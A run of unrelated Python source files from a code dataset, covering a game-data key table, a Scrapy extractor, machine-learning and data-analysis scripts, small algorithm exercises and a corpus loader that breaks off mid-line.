lambda y: 'Attack 4 Sound (spec.): %s' % y), # only ahri??\n - 9556582: NestedNode('zzz.sounds.move1s', lambda y: 'Move Sound 1 (spec.): %s' % y), # only ahri??\n - 9556581: NestedNode('zzz.sounds.move2s', lambda y: 'Move Sound 2 (spec.): %s' % y), # only ahri??\n - 9556580: NestedNode('zzz.sounds.move3s', lambda y: 'Move Sound 3 (spec.): %s' % y), # only ahri??\n - 9556579: NestedNode('zzz.sounds.move4s', lambda y: 'Move Sound 4 (spec.): %s' % y), # only ahri??\n 43754799: NestedNode('zzz.sounds.click1s', lambda y: 'Click Sound 1 (spec.): %s' % y), # only ahri??\n 43754800: NestedNode('zzz.sounds.click2s', lambda y: 'Click Sound 2 (spec.): %s' % y), # only ahri??\n 43754801: NestedNode('zzz.sounds.click3s', lambda y: 'Click Sound 3 (spec.): %s' % y), # only ahri??\n 43754802: NestedNode('zzz.sounds.click4s', lambda y: 'Click Sound 4 (spec.): %s' % y), # only ahri??\n}\n\n# we have more beautiful values\nKEY_TABLE.update({key: val for (key, val) in CUSTOM_TABLE.items() if key not in KEY_TABLE})\n\ndef unknown_type_func():\n \"\"\"\n Used for types where type is not known. We can't proceed.\n \"\"\"\n raise NotImplementedError('This data-type is not supported yet')\n\nTYPEFLAG_TABLE = defaultdict(lambda:unknown_type_func)\nTYPEFLAG_TABLE.update(\n{\n 0x0001: read_int, # u32\n 0x0002: read_float, # f\n 0x0004: read_bytepercent, # u8/10\n 0x0008: read_short, # u16\n 0x0010: read_byte, # u8\n 0x0020: read_boolean, # u1\n 0x0040: read_3bytepercent, # [u8/10] *3\n 0x0080: read_3float, # [f] *3\n 0x0100: read_2bytepercent, # [u8/10] *2\n 0x0200: read_2float, # [f] *2\n 0x0400: read_4bytepercent, # [u8/10] *4\n 0x0800: read_4float, # [f] *4\n 0x1000: read_strings, # Strings\n})\n\nTYPE_OF_FLAG = {\n read_boolean: 'BIT', # also used for value of 1 etc\n read_bytepercent: 'PERC',\n read_byte: 'uBYTE',\n read_short: 'uSHORT',\n read_int: 'INT',\n read_float: 'FLOAT',\n read_2bytepercent: 'PERC[2]',\n read_3bytepercent: 'PERC[3]',\n read_4bytepercent: 'PERC[4]',\n read_2float: 'FLOAT[2]',\n read_3float: 'FLOAT[3]',\n read_4float: 'FLOAT[4]',\n read_strings: 'STR',\n unknown_type_func: 'INVAL'\n}\n","sub_path":"2.70/io_scene_lol/inibin/KEYTABLES.py","file_name":"KEYTABLES.py","file_ext":"py","file_size_in_byte":16558,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"559069963","text":"from crawler.image_item import ImageItem\nfrom scrapy.http import HtmlResponse\nfrom scrapy.selector import HtmlXPathSelector, XmlXPathSelector\nimport logging\nimport re\nimport yaml\n\nclass ScrapyExtractor():\n def __init__(self, extractor_config, url_util):\n stream = open(extractor_config, 'r')\n self.settings = yaml.load(stream)\n self.url_util = url_util\n self.logger = logging.getLogger(\"Scrapy Extractor\")\n\n def getItemForType(self, itemType):\n item = None\n if itemType == \"image\":\n item = ImageItem()\n else:\n self.logger.error(\"Unknown item itemType %s\", itemType)\n raise Exception(\"Unknown itemType %(itemType)s\" % {'itemType': itemType})\n item.init()\n return item\n\n def getItemAtIndex(self, array, index):\n if array == None:\n return None\n if type(array) == type(str()) or type(array) == type(unicode()):\n return array.strip()\n if len(array) > index:\n if type(array[index]) == type(str()) or type(array[index]) == type(unicode()):\n return array[index].strip()\n else:\n return array[index]\n return None\n\n def getAttributeValue(self, elem, xpath_config):\n if elem == None:\n return None\n field = xpath_config[\"extract\"]\n if field == 'text':\n return elem.extract()\n elif field == 'regex':\n match = elem.re(xpath_config[\"regex\"])\n return match\n elif field == 'static':\n return [xpath_config[\"static_text\"]]\n\n def extractElement(self, configs, tree, item):\n for config in configs:\n if config[\"type\"] == \"single\":\n item = self.extractSingleElement(config, tree, item)\n if config[\"type\"] == \"array\":\n item = self.extractElementList(config, tree, item)\n if config[\"type\"] == \"follow_link\":\n item = self.extractLink(config, tree, item)\n return item\n\n def extractLink(self, config, tree, item):\n path = config[\"xpath\"][\"path\"]\n xpath_config = config[\"xpath\"]\n\n elem = tree.select(path)\n\n if elem != None:\n try:\n links = []\n if \"regex\" in xpath_config:\n links = elem.re(xpath_config[\"regex\"])\n else:\n links = elem.extract()\n link = self.getItemAtIndex(links, 0)\n if link == None:\n return item\n link = re.sub(\"[\\\\\\]\", \"\", link)\n self.logger.info(\"following %s\", link)\n\n response = None\n try:\n response = self.url_util.getUrlResponse(link)\n except Exception:\n self.logger.error(\"Follwing link failed for url %s\", link)\n return item\n if response == None:\n return item\n if \"type\" in xpath_config and xpath_config[\"type\"] == \"text\":\n item[config[\"xpath\"][\"name\"]] = str(response)\n else:\n html_response = HtmlResponse(link, body=response)\n config = xpath_config[\"config\"]\n item = ScrapyExtractor(config, self.url_util).extract(html_response, item)\n return item\n except Exception:\n self.logger.exception(\"Exception while extracting a field\")\n return item\n\n def extractSingleElement(self, config, tree, item):\n path = config[\"xpath\"][\"path\"]\n\n elem = tree.select(path)\n\n if elem != None:\n if type(config[\"xpath\"][\"extract\"]) == type(str()):\n item[config[\"xpath\"][\"name\"]] = self.getItemAtIndex(self.getAttributeValue(elem, config[\"xpath\"]), 0)\n return item\n else:\n if \"itemtype\" in config[\"xpath\"]:\n innerItem = self.getItemForType(config[\"xpath\"][\"itemtype\"])\n item[config[\"xpath\"][\"name\"]] = dict(self.extractElement(config[\"xpath\"][\"extract\"], elem, innerItem))\n return item\n else:\n return self.extractElement(config[\"xpath\"][\"extract\"], elem, item)\n return item\n\n def extractElementList(self, config, tree, item):\n path = config[\"xpath\"][\"path\"]\n elems = tree.select(path)\n\n if elems == None:\n if \"name\" in config[\"xpath\"]:\n item[config[\"xpath\"][\"listname\"]] = None\n return item\n else:\n for elem in elems:\n if type(config[\"xpath\"][\"extract\"]) == type(str()):\n if \"append\" in config and config[\"append\"] == True: # The field is assumed to be of string type in this case\n if item.get(config[\"xpath\"][\"listname\"]) == None:\n item[config[\"xpath\"][\"listname\"]] = \"\"\n item[config[\"xpath\"][\"listname\"]] += \"\\n\" + self.getItemAtIndex(self.getAttributeValue(elem, config[\"xpath\"]), 0).strip()\n else:\n item[config[\"xpath\"][\"listname\"]].append(self.getItemAtIndex(self.getAttributeValue(elem, config[\"xpath\"]), 0))\n else:\n if \"itemtype\" in config[\"xpath\"]:\n innerItem = self.getItemForType(config[\"xpath\"][\"itemtype\"])\n item[config[\"xpath\"][\"listname\"]].append(dict(self.extractElement(config[\"xpath\"][\"extract\"], elem, innerItem)))\n else:\n item = self.extractElement(config[\"xpath\"][\"extract\"], elem, item)\n return item\n\n def extract(self, data, item, inputType=\"html\"):\n tree = None\n #item.init()\n if inputType == \"html\":\n tree = HtmlXPathSelector(data)\n elif inputType == \"xml\":\n tree = XmlXPathSelector(data)\n self.extractElement(self.settings, tree, item)\n return item\n\n\n","sub_path":"ScrapyExtractorTest/scrapy_extractor.py","file_name":"scrapy_extractor.py","file_ext":"py","file_size_in_byte":5243,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"343237422","text":"import math\n\ndef getInput():\n input_str = input();\n nums = [int(n) for n in input_str.split(\" \")];\n return nums;\n\ndef Manhattan(p1, p2):\n x1, y1 = p1\n x2, y2 = p2\n d = abs(x2 - x1) + abs(y2 - y1)\n\n return d\n\ndef Euclid(p1, p2):\n x1, y1 = p1\n x2, y2 = p2\n\n x = x2 - x1\n y = y2 - y1\n d = math.sqrt(pow(x, 2) + pow(y, 2))\n return d\n\ndef isEqual(p1, p2):\n if Manhattan(p1, p2) == Euclid(p1, p2):\n return True\n else:\n return False\n\ndef getNum(list):\n num = 0\n for i in range(0, len(list) - 1):\n for j in range(i + 1, len(list) - 1):\n if isEqual(list[i], list[j]):\n num += 1\n return num\n\nif __name__ == '__main__':\n n = int(input())\n for i in range (n):\n m = int(input())\n list = []\n for j in range (m):\n tmp = getInput()\n list.append(tmp)\n p = getNum(list)\n print(p)\n","sub_path":"Code/CodeRecords/2612/60739/256941.py","file_name":"256941.py","file_ext":"py","file_size_in_byte":926,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"415847888","text":"# Example of Dropout on the Sonar Dataset: Visible Layer\nimport numpy\nfrom keras.constraints import maxnorm\nfrom keras.layers import Dense\nfrom keras.layers import Dropout\nfrom keras.models import Sequential\nfrom keras.optimizers import SGD\nfrom keras.wrappers.scikit_learn import KerasClassifier\nfrom pandas import read_csv\nfrom sklearn.model_selection import StratifiedKFold\nfrom sklearn.model_selection import cross_val_score\nfrom sklearn.pipeline import Pipeline\nfrom sklearn.preprocessing import LabelEncoder\nfrom sklearn.preprocessing import StandardScaler\n\n# fix random seed for reproducibility\nseed = 7\nnumpy.random.seed(seed)\n# load dataset\ndataframe = read_csv(\"sonar.csv\", header=None)\ndataset = dataframe.values\n# split into input (X) and output (Y) variables\nX = dataset[:, 0:60].astype(float)\nY = dataset[:, 60]\n# encode class values as integers\nencoder = LabelEncoder()\nencoder.fit(Y)\nencoded_Y = encoder.transform(Y)\n\n\n# dropout in the input layer with weight constraint\ndef create_model():\n # create model\n model = Sequential()\n model.add(Dropout(0.2, input_shape=(60,)))\n model.add(Dense(60, kernel_initializer='normal', activation='relu', kernel_constraint=maxnorm(3)))\n model.add(Dense(30, kernel_initializer='normal', activation='relu', kernel_constraint=maxnorm(3)))\n model.add(Dense(1, kernel_initializer='normal', activation='sigmoid'))\n # Compile model\n sgd = SGD(lr=0.1, momentum=0.9, decay=0.0, nesterov=False)\n model.compile(loss='binary_crossentropy', optimizer=sgd, metrics=['accuracy'])\n return model\n\n\nnumpy.random.seed(seed)\nestimators = []\nestimators.append(('standardize', StandardScaler()))\nestimators.append(('mlp', KerasClassifier(build_fn=create_model, epochs=300, batch_size=16, verbose=0)))\npipeline = Pipeline(estimators)\nkfold = StratifiedKFold(n_splits=10, shuffle=True, random_state=seed)\nresults = cross_val_score(pipeline, X, encoded_Y, cv=kfold)\nprint(\"Visible: %.2f%% (%.2f%%)\" % (results.mean() * 100, results.std() * 100))\n\n\n################################################################################################\n\nimport pickle\nimport matplotlib.pyplot as plt\n\n\ndata_dir = '/home/guyos/Documents/bus_detection/'\nwith open(data_dir + 'ftrs.pickle', 'rb') as handle:\n X, y = pickle.load(handle)\n X = X.values\n\n\ndef raxel_model():\n # create model\n model = Sequential()\n # model.add(Dropout(0.3, input_shape=(X.shape[1],)))\n model.add(Dense(110, input_shape=(X.shape[1],), kernel_initializer='normal', activation='relu'))\n # model.add(Dense(110, kernel_initializer='normal', activation='relu', kernel_constraint=maxnorm(3)))\n # model.add(Dense(30, kernel_initializer='normal', activation='relu', kernel_constraint=maxnorm(3)))\n model.add(Dense(1, kernel_initializer='normal', activation='sigmoid'))\n # Compile model\n # sgd = SGD(lr=0.1, momentum=0.9, decay=0.0, nesterov=False)\n model.compile(loss='binary_crossentropy', optimizer='rmsprop', metrics=['accuracy'])\n return model\n\n\nnumpy.random.seed(seed)\nestimators = list()\nestimators.append(('standardize', StandardScaler()))\nestimators.append(('mlp', KerasClassifier(build_fn=raxel_model, epochs=200, batch_size=10, verbose=0, validation_split=0.33)))\npipeline = Pipeline(estimators)\nkfold = StratifiedKFold(n_splits=5, shuffle=True, random_state=seed)\nresults = cross_val_score(pipeline, X, y, cv=kfold)\nprint(\"Visible: %.2f%% (%.2f%%)\" % (results.mean() * 100, results.std() * 100))\n\nscaler = StandardScaler()\nX_scaled = scaler.fit_transform(X)\nmodel = raxel_model()\nhistory = model.fit(X_scaled, y, epochs=400, batch_size=10, verbose=0, validation_split=0.33)\n\n# summarize history for accuracy\nplt.plot(history.history['acc'])\nplt.plot(history.history['val_acc'])\nplt.title('model accuracy')\nplt.ylabel('accuracy')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n\n# summarize history for loss\nplt.plot(history.history['loss'])\nplt.plot(history.history['val_loss'])\nplt.title('model loss')\nplt.ylabel('loss')\nplt.xlabel('epoch')\nplt.legend(['train', 'test'], loc='upper left')\nplt.show()\n","sub_path":"chapter_16/dropout_visible.py","file_name":"dropout_visible.py","file_ext":"py","file_size_in_byte":4098,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"170087583","text":"import argparse\n\n\ndef count_positives(path, index, positive_label_list, skip_first_n_lines):\n positive_labels = set(positive_label_list)\n num_positives = 0\n total_num_samples = 0\n with open(path, 'r') as file:\n if skip_first_n_lines:\n _ = [file.readline() for _ in range(skip_first_n_lines)]\n for line in file:\n if not line:\n continue\n total_num_samples += 1\n num_positives += line.split()[index] in positive_labels\n return num_positives, total_num_samples\n\n\ndef run(path, index, positive_label_list, skip_first_n_lines):\n num_positives, total_num_samples = count_positives(path, index, positive_label_list, skip_first_n_lines)\n print(\n f'num_positives: {num_positives}\\n'\n f'total_num_samples: {total_num_samples}\\n'\n f'positive_ratio: {num_positives / total_num_samples:.5f}'\n )\n\n\nif __name__ == '__main__':\n parser = argparse.ArgumentParser()\n parser.add_argument('path', type=str)\n parser.add_argument(\n '-i', dest='index', type=int, required=True,\n help='0-based label field index'\n )\n parser.add_argument(\n '-l', dest='positive_label_list', nargs='+', required=True,\n help='list of positive labels, separated by space'\n )\n parser.add_argument(\n '--skip-first', '-s', dest='skips', type=int, metavar='N',\n help='skip the first N lines'\n )\n args = parser.parse_args()\n run(args.path, args.index, args.positive_label_list, args.skips)\n","sub_path":"python/sum_binary_traits_positives.py","file_name":"sum_binary_traits_positives.py","file_ext":"py","file_size_in_byte":1528,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"141858712","text":"#!/usr/bin/env python\n# coding: utf-8\n\n\n\n# Import library\nimport pandas as pd #Data manipulation\nimport numpy as np #Data manipulation\nimport matplotlib.pyplot as plt # Visualization\nimport seaborn as sns #Visualization\nfrom IPython.display import Image\n\n#\nfrom sklearn.impute import SimpleImputer\n\n\nclass Data:\n\n \n def read_original_data(self, path):\n return pd.read_csv(path)\n\n \n def analys_form_dataframe(self, data):\n print('-------------------------------------------------------------------------------')\n print(\"-------------------- The dataframe's shape:\", data.shape)\n print('-------------------------------------------------------------------------------')\n print('-------------------- Info. dataframe')\n print('-------------------------------------------------------------------------------')\n data.info()\n\n \n def plot_dataset_types(self, data):\n dtypes_value_counts = data.dtypes.value_counts()\n value_counts = pd.DataFrame(dtypes_value_counts,\n columns = ['0'],\n index = ['object','int64','float64'])\n value_counts.reset_index(inplace=True)\n value_counts = value_counts.rename(columns = {'0':'Count',\n 'index':'Types'})\n # VISUALIZE dtypes_value_counts in Bar Plot\n plt.figure(figsize=(15, 7))\n barplot = sns.barplot(x = 'Types', y='Count', data=value_counts, palette='Blues_d')\n barplot.set_title(\"Bar Plot dataset's types\", fontdict={'fontsize':18}, pad=16); \n plt.xticks(rotation = 90)\n plt.show()\n\n \n def show_map_missing_values(self, data):\n plt.figure(figsize=(17,7))\n heatmap = sns.heatmap(data.isna(), cbar=False, cmap=\"Blues\")\n heatmap.set_title('Heatmap of missing values in the dataframe',\n fontdict={'fontsize':18},\n pad=16); \n\n \n def calculate_missing_values(self, data):\n print('-------------------------------------------------------------------------------')\n print('-------------------- Calculate missing values in the dataframe')\n print('-------------------------------------------------------------------------------')\n return (data.isna().sum()/data.shape[0]).sort_values(ascending=True)\n\n \n def isnull_value_counts_all_columns(self, data):\n print('-------------------------------------------------------------------------------')\n print(' Count missing values of each column')\n print('-------------------------------------------------------------------------------')\n for k in self.dataframe_keys(data):\n d = pd.isnull(data[k]).value_counts()\n print(d)\n print('----------------------------------------')\n\n\n \n def delet_features_having_more_then_90_per_cent_miss_values(self, data):\n return data[data.columns[data.isna().sum()/data.shape[0] <0.9]]\n\n \n def delet_features_having_more_then_80_per_cent_miss_values(self, data):\n return data[data.columns[data.isna().sum()/data.shape[0] <0.8]]\n\n \n def delet_features_having_more_then_70_per_cent_miss_values(self, data):\n return data[data.columns[data.isna().sum()/data.shape[0] <0.7]]\n\n \n def dataframe_keys(self, data):\n columns = []\n keys = data.keys()\n for k in keys:\n columns.append(k)\n return columns\n\n \n def value_counts_all_columns_df(self, data):\n for col in self.dataframe_keys(data):\n print(data[col].value_counts())\n print('\\n-----------------------------------------\\n')\n\n \n def get_dataset_of_missing_val(self, data):\n return data[data.columns[data.isna().sum()/data.shape[0] != 0]]\n \n \n def missing_value_counts_df(self, data):\n print('-------------------------------------------------------------------------------')\n print(' Count missing values of each column')\n print('-------------------------------------------------------------------------------')\n missing_values = data[data.columns[data.isna().sum()/data.shape[0] != 0]]\n #miss_val_df = missing_values.to_frame()\n for col in self.dataframe_keys(missing_values):\n mv = pd.isnull(missing_values[col]).value_counts()\n print(mv)\n print('----------------------------------------')\n \n def convert_sqrFeet_to_sqrMeters(self, variable, data):\n return data[variable]/10.764\n\n \n def get_image(self,path):\n return Image(path)\n\n \n def plot_missing_values(self,data):\n missing_values = data.isnull().sum() / len(data)\n missing_values = missing_values[missing_values != 0]\n missing_values.sort_values(inplace=True)\n #missing_values\n #CREATE a pandas dataframe of missing values:\n missing_values = missing_values.to_frame()\n missing_values.columns = ['count']\n missing_values.index.names = ['Name']\n missing_values['Name'] = missing_values.index\n # VISUALIZE missing values in Bar Plot\n #sns.set(style=\"whitegrid\", color_codes=True)\n plt.figure(figsize=(15, 7))\n barplot = sns.barplot(x = 'Name', y = 'count', data=missing_values, palette='Blues_d')\n barplot.set_title('Bar Plot missing values', fontdict={'fontsize':18}, pad=16); \n plt.xticks(rotation = 90)\n plt.show()\n\n \n def plot_continues_variables_histogrames(self, columns, data):\n for col in columns:\n plt.figure(figsize=(15, 7))\n ax = sns.histplot(data[col], kde=True)\n ax2 = ax.twinx()\n sns.boxplot(x=col, data=data, ax=ax2)\n ax2.set(ylim=(-.5, 10))\n \n def plot_variable_histograme(self, column, data):\n print('\\n')\n print('-------------------------------------------------------------------------------')\n print('The histograme of the Statistical distribution of ', column)\n print('-------------------------------------------------------------------------------')\n print('\\n')\n print(data[column].describe())\n plt.figure(figsize=(15, 7))\n ax = sns.histplot(data[column], kde=True, stat=\"density\", multiple=\"stack\")\n ax2 = ax.twinx()\n sns.boxplot(x=column, data=data, ax=ax2)\n ax2.set(ylim=(-.5, 10))\n\n def histoplot_discontinued_variables(self, column, data):\n print('\\n')\n print('-------------------------------------------------------------------------------')\n print('The histograme of the Statistical distribution of ', column)\n print('-------------------------------------------------------------------------------')\n print('\\n')\n print(data[column].describe().T)\n plt.figure(figsize=(15, 7))\n sns.histplot(data[column], stat=\"density\", palette=\"Blues_d\")\n\n \n def barplot_categorical_columns(self, data, target):\n dataset_of_categorical_variables = data.select_dtypes('object')\n categorical_columns = self.dataframe_keys(dataset_of_categorical_variables)\n for col in categorical_columns:\n plt.figure(figsize=(15, 7))\n sns.barplot(x=col , y=target, data=data, palette=\"Blues_d\")\n plt.xticks(rotation = 90)\n \n def barplot_col(self, data, target, col):\n plt.figure(figsize=(15, 7))\n sns.barplot(x=col , y=target, data=data, palette=\"Blues_d\")\n plt.xticks(rotation = 90)\n\n \n def simpleImputer_missing_value(self, column, data, strategy_simpleImputer):\n imputer = SimpleImputer(missing_values=np.NaN, strategy=strategy_simpleImputer)\n df = imputer.fit_transform(data[column]) \n return df\n\n \n def simpleImputer_missing_value_with_constant(self, column, data, strategy_simpleImputer, value):\n imputer = SimpleImputer(missing_values=np.NaN, strategy=strategy_simpleImputer, fill_value=value)\n df = imputer.fit_transform(data[column]) \n return df\n \n \n \n \n \n \n\n\n\n\n","sub_path":"data.py","file_name":"data.py","file_ext":"py","file_size_in_byte":8304,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"277157952","text":"import pandas as pd\nimport numpy as np\nimport matplotlib.pyplot as plt\n\n\ndef logisticSigmoidFun(q, Theta):\n temp = np.dot(q, Theta)\n exp = (np.exp(-1 * temp)) + 1\n g = 1.0 / exp\n return g\n\n\ndef logisticCost(X, Theta, Y, m):\n h = logisticSigmoidFun(X, Theta)\n log1 = np.log10(h)\n temp = np.multiply(Y, log1)\n log2 = np.log10(1 - h)\n temp2 = np.multiply(1 - Y, log2)\n J = (np.sum(temp + temp2) * -1) / m\n return J\n\ndef MSE(X, Theta, Y,m):\n temp = logisticSigmoidFun(X, Theta) - Y\n squares = np.square(temp)\n MSE = np.sum(squares) / m\n return MSE\n\ndef logisticGradientDescent(initialTheta, X, Y, alpha, numOfIterations, m):\n costInIterations = []\n mseInIterations = []\n Theta = initialTheta\n for i in range(numOfIterations):\n costInIterations.append(logisticCost(X, Theta, Y, m))\n print('Cost in iteration ', i, ' = ', costInIterations[i])\n mseInIterations.append(MSE(X, Theta, Y, m))\n print('MSE in iteration ', i, ' = ', mseInIterations[i])\n num1 = logisticSigmoidFun(X, Theta)\n s = np.multiply(num1 - Y, X)\n tTheta = np.zeros((len(X[0]), 1))\n for j in range(len(X[0])):\n for k in range(len(X)):\n tTheta[j][0] += s[k][j]\n m = len(Y)\n num = alpha / m\n tempTheta = (Theta - (num * tTheta))\n Theta = tempTheta\n print('Theta= ',Theta)\n return Theta, costInIterations,mseInIterations\n\n\ndef runLogisticReg():\n size = 303\n numOfIterations = 1000\n dataFile = pd.read_csv(\"heart.csv\", index_col=0)\n x = dataFile[[\"trestbps\", \"chol\", \"thalach\", \"oldpeak\"]]\n y = dataFile[[\"target\"]]\n #X = np.array(x[:size])\n Y = np.array(y[:size])\n XNormalized = (x - x.mean()) / x.std()\n X = XNormalized\n X = np.c_[np.ones(len(X)), X]\n Theta = np.zeros((len(X[0]), 1))\n m = len(Y)\n a=0\n b=0\n Theta, cost,mse = logisticGradientDescent(Theta, X, Y, 0.00005, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if(1==Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",0.00005,\" is: \",(a/303*100))\n a=0\n b=0\n Theta, cost,mse = logisticGradientDescent(Theta, X, Y, 0.0005, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if (1 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0== Y[i]):\n a += 1\n else:\n b += 1\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",0.0005,\" is: \",(a/303*100))\n a = 0\n b = 0\n Theta,cost,mse = logisticGradientDescent(Theta, X, Y, 0.001, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if (1 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",0.005,\" is: \",(a/303*100))\n a = 0\n b = 0\n Theta,cost,mse = logisticGradientDescent(Theta, X, Y, 0.01, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if (1 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",0.05,\" is: \",(a/303*100))\n a = 0\n b = 0\n Theta, cost,mse= logisticGradientDescent(Theta, X, Y, 0.1, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if (1 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",0.5,\" is: \",(a/303*100))\n a = 0\n b = 0\n Theta, cost,mse= logisticGradientDescent(Theta, X, Y, 1, numOfIterations, m)\n h = logisticSigmoidFun(X, Theta)\n for i in range(len(X)):\n if (h[i] >= 0.5):\n if (1 == Y[i]):\n a += 1\n else:\n b += 1\n #print(\"have heart disease\")\n else:\n if (0 == Y[i]):\n a += 1\n else:\n b += 1\n\n #print(\"not have heart disease\")\n print(\"accuracy when alpha= \",1,\" is: \",(a/303*100))\n a = 0\n b = 0\n\nrunLogisticReg()\n\n","sub_path":"Logestic & Linear/logisticRegression(2).py","file_name":"logisticRegression(2).py","file_ext":"py","file_size_in_byte":5132,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"284514847","text":"#!/usr/bin/env python3\n\ndef main():\n i=input()\n n=[int(d) for d in i]\n res=[]\n x=0\n while(x+13<=len(n)):\n pro, m=1,0\n while(m<13):\n pro*=n[x+m]\n m+=1\n res.append(pro)\n x+=1\n print(sorted(res))\n\nif __name__ == '__main__':\n main()\n","sub_path":"Prob8.py","file_name":"Prob8.py","file_ext":"py","file_size_in_byte":300,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"514167904","text":"import matplotlib.pyplot as plt\nimport numpy as np\n\nfft = np.fft\n\ny = np.loadtxt(\"Data Files\\dow.txt\", float)\n\nc = fft.rfft(y)\n\nmaxval = max(c)\nfor i in range(len(c)):\n if abs(c[i]) < .005 * maxval:\n c[i] = 0\n\ny2 = fft.irfft(c)\n\nplt.figure(dpi = 250)\n\n# raw data\nplt.subplot(311)\nplt.plot(y)\nplt.xlabel(\"Time\")\nplt.ylabel(\"Signal\")\n\n# filtered dft\nplt.subplot(312)\nplt.semilogy(abs(c))\nplt.xlabel(\"Fourier Coefficients (freq)\")\nplt.ylabel(\"Magnitude\")\n\n# cleaned up data via inverse dft\nplt.subplot(313)\nplt.plot(y2.real)\nplt.xlabel(\"Time\")\nplt.ylabel(\"Signal\")\nplt.subplots_adjust(hspace=0.6)\nplt.show()","sub_path":"In-Class Activities/fourier_coefficients_4.py","file_name":"fourier_coefficients_4.py","file_ext":"py","file_size_in_byte":614,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"326574817","text":"#!C:\\Python\\Python\n#coding=utf-8\n\n'''\nMin Height BST\n\nWrite a function that takes in a non-empty sorted array of distinct integers, constructs a BST\nfrom the integers, and returns the root of the BST. The function should minimize the height of the BST.\n\nSample Input:\narray = [1,2,5,7,10,13,14,15,22]\nSample Output: \n 10\n / \\\n 2 14\n / \\ / \\\n 1 5 13 15\n \\ \\\n 7 22\nOR:\n 10\n / \\\n 5 15\n / \\ / \\\n 2 7 13 22\n/ \\\n1 14\n'''\n\ndef minHeightBst(array):\n return constructBST(0, len(array)-1, None, array)\n\ndef constructBST(start, end, bst, array):\n if start > end:\n return \n middle = (start + end) //2\n toAdd = array[middle]\n if bst is None:\n bst = BST(toAdd)\n else:\n bst.insert(toAdd)\n constructBST(start, middle-1, bst, array)\n constructBST(middle+1, end, bst, array)\n return bst \n\nclass BST:\n def __init__(self, value):\n self.value = value\n self.left = None\n self.right = None\n\n def insert(self, value):\n if value < self.value:\n if self.left is None:\n self.left = BST(value)\n else:\n self.left.insert(value)\n else:\n if self.right is None:\n self.right = BST(value)\n else:\n self.right.insert(value)\n","sub_path":"Python/00_Code Interview/AlgoExpert/Difficulty/medium/BST_M_011_MinHeightBST.py","file_name":"BST_M_011_MinHeightBST.py","file_ext":"py","file_size_in_byte":1363,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"68"} +{"seq_id":"103072730","text":"import json\nfrom datetime import datetime\nfrom pathlib import Path\nimport requests\n\nimport networkx as nx\n\n\nclass CorpusLoader:\n\n @staticmethod\n def parse_timestamp(timestamp):\n try:\n cast_timestamp = datetime.strptime(timestamp, '%Y-%m-%d %H:%M:%S')\n except (ValueError, TypeError):\n print('Failed datetime(timestamp) casting:')\n print(timestamp)\n cast_timestamp = timestamp\n return cast_timestamp\n\n @staticmethod\n def parse_scheme_id(scheme_id):\n try:\n cast_scheme_id = int(scheme_id)\n except (ValueError, TypeError):\n print('Failed int(schemeID) casting:')\n print(scheme_id)\n cast_scheme_id = scheme_id\n return cast_scheme_id\n\n @staticmethod\n def parse_node_id(node_id):\n try:\n cast_node_id = int(node_id)\n except (ValueError, TypeError):\n print('Failed int(nodeID) casting:')\n print(node_id)\n cast_node_id = node_id\n return cast_node_id\n\n @staticmethod\n def parse_edge_id(edge_id):\n try:\n case_edge_id = int(edge_id)\n except (ValueError, TypeError):\n print('Failed int(edgeID) casting:')\n print(edge_id)\n case_edge_id = edge_id\n return case_edge_id\n\n def load_corpus(self, directory_path):\n directory_path = Path(directory_path)\n json_files = directory_path.rglob('*.json')\n node_sets = {}\n\n\n for file in json_files:\n\n node_set_id = file.stem\n try:\n node_set_id = int(file.stem.replace('nodeset', ''))\n except (ValueError, TypeError):\n print('Failed int(nodesetID) casting:')\n print(file.stem)\n\n with open(str(file)) as json_data:\n loaded_json = json.load(json_data)\n node_sets[node_set_id] = self.parse_json(loaded_json)\n print(file)\n return node_sets\n\n\n def parse_json(self, node_set):\n\n G = nx.DiGraph()\n locution_dict = {}\n\n for node in node_set['nodes']:\n\n if 'scheme' in node:\n nID = self.parse_node_id(node['nodeID'])\n\n G.add_node(self.parse_node_id(node['nodeID']), text=node.get('text', None), type=node.get('type', None),\n timestamp=self.parse_timestamp(node.get('timestamp', None)), scheme=node.get('scheme', None),\n scheme_id=self.parse_scheme_id(node.get('schemeID', 